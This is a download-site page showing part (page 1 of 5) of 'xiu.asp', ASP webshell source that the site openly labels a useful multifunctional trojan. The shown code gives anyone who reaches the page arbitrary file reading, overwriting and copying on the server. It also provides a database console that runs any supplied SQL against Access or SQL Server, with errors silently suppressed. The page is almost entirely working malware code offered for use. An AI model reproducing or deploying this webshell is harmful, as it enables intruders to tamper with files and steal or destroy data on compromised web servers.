⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 xiu.asp

📁 一个相当不错的多功能..很有用的木马
💻 ASP
📖 第 1 页 / 共 5 页
字号:
		echo "<td height=22>&nbsp;<input name=truePath value=" & strPath & " style=width:500px;>"
		echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td>&nbsp;<textarea name=fileContent style='width:735px;height:100%;'>"
		echo HtmlEncode(theFile.ReadAll())
		echo "</textarea></td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
		echo "<input type=reset value=重置><input type=button onclick=window.close(); value=关闭>"
		echo "<input type=button value=查看 title='在新窗口中打开该文件链接' onclick=preView('2');>"
		echo "<input type=button value=预览 onclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>"
		echo "</tr>"
		echo "</form>"
		echo "</table>"

		Set theFile = Nothing
	End Sub
	
	Sub SaveToFile()
		Dim theFile, strPath, fileContent
		If isDebugMode = False Then On Error Resume Next
		fileContent = GetPost("fileContent")
		strPath = GetPost("truePath")

		Set theFile = fso.OpenTextFile(strPath, 2, True)
		theFile.Write fileContent
		theFile.Close
		ChkErr(Err)
		
		Set theFile = Nothing
	End Sub
	
	Sub SaveAs()
		Dim strPath, aryParam, isFile
		If isDebugMode = False Then On Error Resume Next
		aryParam = Split(GetPost("param"), ",")
		aryParam(0) = aryParam(0)
		aryParam(1) = aryParam(1)
		isFile = fso.FileExists(aryParam(0))
		
		If isFile = True Then
			fso.CopyFile aryParam(0), aryParam(1), False
		 Else
			fso.CopyFolder aryParam(0), aryParam(1), False
		End If
		
		ChkErr(Err)
	End Sub

	Sub PageDBTool()
		ShowTitle("Access + SQL Server 数据库操作")
		echo "<form method=post action=""" & url & """>"

		If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
			SqlShowEdit()
			echo "</form>"
			Response.End()
		End If

		ShowDBTool()
		
		Select Case theAct
			Case "Query"
				ShowQuery()
			Case "ShowTables"
				ShowTables()
		End Select
		
		echo "</form>"
	End Sub

	Sub ShowDBTool()
		echo "<table width=750>"
		echo "<input type=hidden value=PageDBTool name=PageName>"
		echo "<input type=hidden name=theAct>"
		echo "<input type=hidden name=param>"
		echo "<tr>"
		echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td height=50 align=center>"
		echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td>"
		echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
		echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
		echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
		echo "<input type=reset value=重置>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Sub ShowTables()
		Dim Cat, objTable, objColumn, intColSpan, objSchema
		If isDebugMode = False Then On Error Resume Next

		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		
		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
		Next
		echo "</td><td>"
		intColSpan = IIf(isSqlServer = True, "4", "6")
		
		For Each objTable In Cat.Tables
			echo "<table width=98% align=center>"
			echo "<tr>"
			echo "<td class=trHead colspan=" & intColSpan & ">&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;<strong>"
			echo objTable.Name & "</strong></td>"
			echo "</tr>"
			
			echo "<tr align=center>"
			echo "<td align=left width=*>&nbsp;列名</td>"
			echo "<td width=80>类型</td>"
			echo "<td width=60>大小</td>"
			echo "<td width=60>可否为空</td>"
			If isSqlServer = False Then
				echo "<td width=50>默认值</td>"
				echo "<td width=100>描述</td>"
			End If
			echo "</tr>"
			
			For Each objColumn In Cat.Tables(objTable.Name).Columns
				echo "<tr align=center>"
				echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
				echo "<td>" & GetDataType(objColumn.Type) & "</td>"
				If objColumn.DefinedSize <> 0 Then
					echo "<td>" & objColumn.DefinedSize & "</td>"
				 Else
					echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, "&nbsp;") & "</td>"
				End If
				echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
				If isSqlServer = False Then
					echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
					echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
					echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
					echo objColumn.Properties("Description") & "</span></td>"
				End If
				echo "</tr>"
			Next

			echo "<tr>"
			echo "<td colspan=" & intColSpan & " class=td>&nbsp;</td>"
			echo "</tr>"
			echo "</table><br/>"
		Next

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.04&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
		
		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub ShowQuery()
		Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If IsNumeric(strParam) = True Then
			intPage = strParam
		 Else
			intPage = 1
			strTable = strParam
			sql = ""
		End If
		If sql = "" Then
			sql = "Select * From [" & strTable & "]"
		End If

		For i = 1 To Request.Form("KeyWord").Count
			If Request.Form("KeyWord")(i) <> "" Then
				sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
				sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
				sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
			End If
		Next
		If sqlB <> "" Then
			sql = "Select * From [" & strTable & "] Where " & sqlB
			If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
			If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
		End If

		echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
		echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
		echo " <input type=button value=执行查询 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','1');"">"
		echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
		echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
		echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
		echo "<br/><table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"

		CreateConn()
		Set Cat = Server.CreateObject("ADOX.Catalog")
		Cat.ActiveConnection = conn.ConnectionString
		echo "<tr><td width='20%' valign=top>"
		For Each objTable In Cat.Tables
			echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
			echo "style='width:94%;padding-left:8px;cursor:hand;'>"
			If strTable = objTable.Name Then
				echo "<u>" & objTable.Name & "</u>"
			 Else
				echo objTable.Name
			End If
			echo "</span>"
		Next
		echo "</td><td valign=top>"

		If LCase(Left(sql, 7)) = "select " Then
			rs.Open sql, conn, 1, 1
			chkErr(Err)
			rs.PageSize = PageSize
			If Not rs.Eof Then
				rs.AbsolutePage = intPage
			End If
	
			echo "<div align=left><table border=1 width=490>"
			echo "<tr>"
			echo "<td height=22 class=trHead>&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td height=22 class=td width=100>&nbsp;查询</td>"
			echo "</tr><tr><td align=center>"
			echo "<div><select name=Fields>"
			For Each x In rs.Fields
				echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
			Next
			echo "</select>"
			echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
			echo "<input name=KeyWord style='width:200px;'>"
			echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
			echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
			echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
			echo "<input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
			echo "</td></tr>"
			echo "<tr><td class=td>&nbsp;</td></tr>"
			echo "</table></div><br/>"
			
			If rs.Fields.Count > 0 Then
				strPrimaryKey = GetPrimaryKey(strTable)
	
				echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
				echo "<tr>"
				echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & ">&nbsp;</td>"
				echo "</tr>"
				echo "<tr>"
				echo "<td height=22 class=td width=100 align=center>操作</td>"
				For j = 0 To rs.Fields.Count - 1
					echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
				Next
				For i = 1 To rs.PageSize
					If rs.Eof Then Exit For
					echo "</tr>"
					echo "<tr valign=top>"
					echo "<td height=22 align=center>"
					If strPrimaryKey <> "" Then
						echo "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
						echo "<input type=button value=删除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
					 Else
						echo "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
						echo "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
					End If
					For j = 0 To rs.Fields.Count - 1
						echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
					Next
					echo "</tr>"
					rs.MoveNext
				Next
			End If
			echo "<tr>"
			echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & ">&nbsp;Page: "
			For i = 1 To rs.PageCount
				If i > maxPageCount Then
					echo "..."
					Exit For
				End If
				echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
			Next
			echo "</td></tr></table>"
			rs.Close
		 Else
			conn.Execute(sql)
			ChkErr(Err)
			echo "<script>alert('查询执行成功,按确定返回.\n刷新后可以看到执行效果.');history.back();</script>"
			Set rs = Nothing
			Set Cat = Nothing
			DestoryConn()
			Exit Sub
		End If

		echo "</td>"
		echo "</tr>"

		echo "<tr>"
		echo "<td colspan=2 class=trHead>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td colspan=2 class=td align=right>By Marcos 2005.04&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
		
		Set rs = Nothing
		Set Cat = Nothing
		DestoryConn()
	End Sub

	Sub SqlShowEdit()
		Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
		Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
		If isDebugMode = False Then On Error Resume Next
		sql = GetPost("sql")
		strParam = GetPost("param")
		strTable = GetPost("theTable")
		intI = InStr(strParam, "!")
		intFindI = InStr(LCase(sql), " where")
		intFindJ = InStrRev(LCase(sql), "order ")
		intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
		strValue = Mid(strParam, intI + 1)
		strColumn = Left(strParam, intI - 1)
		strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
		
		If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
		If intFindI > 0 Then
			strJoinTag = ") And "
			sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
		 Else
			strJoinTag = " Where "
		End If
		If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))

		CreateConn()
		strPrimaryKey = GetPrimaryKey(strTable)
		Set rs = Server.CreateObject("Adodb.RecordSet")

		If strExtra <> "" And IsNumeric(strValue) = True Then
			sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
			sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
		 Else
			sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
		End If

		intFindM = InStr(LCase(sql), "from")
		intFindI = InStr(LCase(sql), " where")
		intFindL = InStr(intFindM, LCase(sql), ",", 1)
		If intFindL > 0 Then
			If (intFindL > intFindM) And (intFindL < intFindI) Then
				multiTables = True
			End If
		End If
		
		If theAct <> "edit" Then
			rs.Open sql, conn, 1, 3
			ChkErr(Err)
			If rs.Eof Then
				echo "<script>alert('该记录不存在!');history.back();</script>"
				Response.End()

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -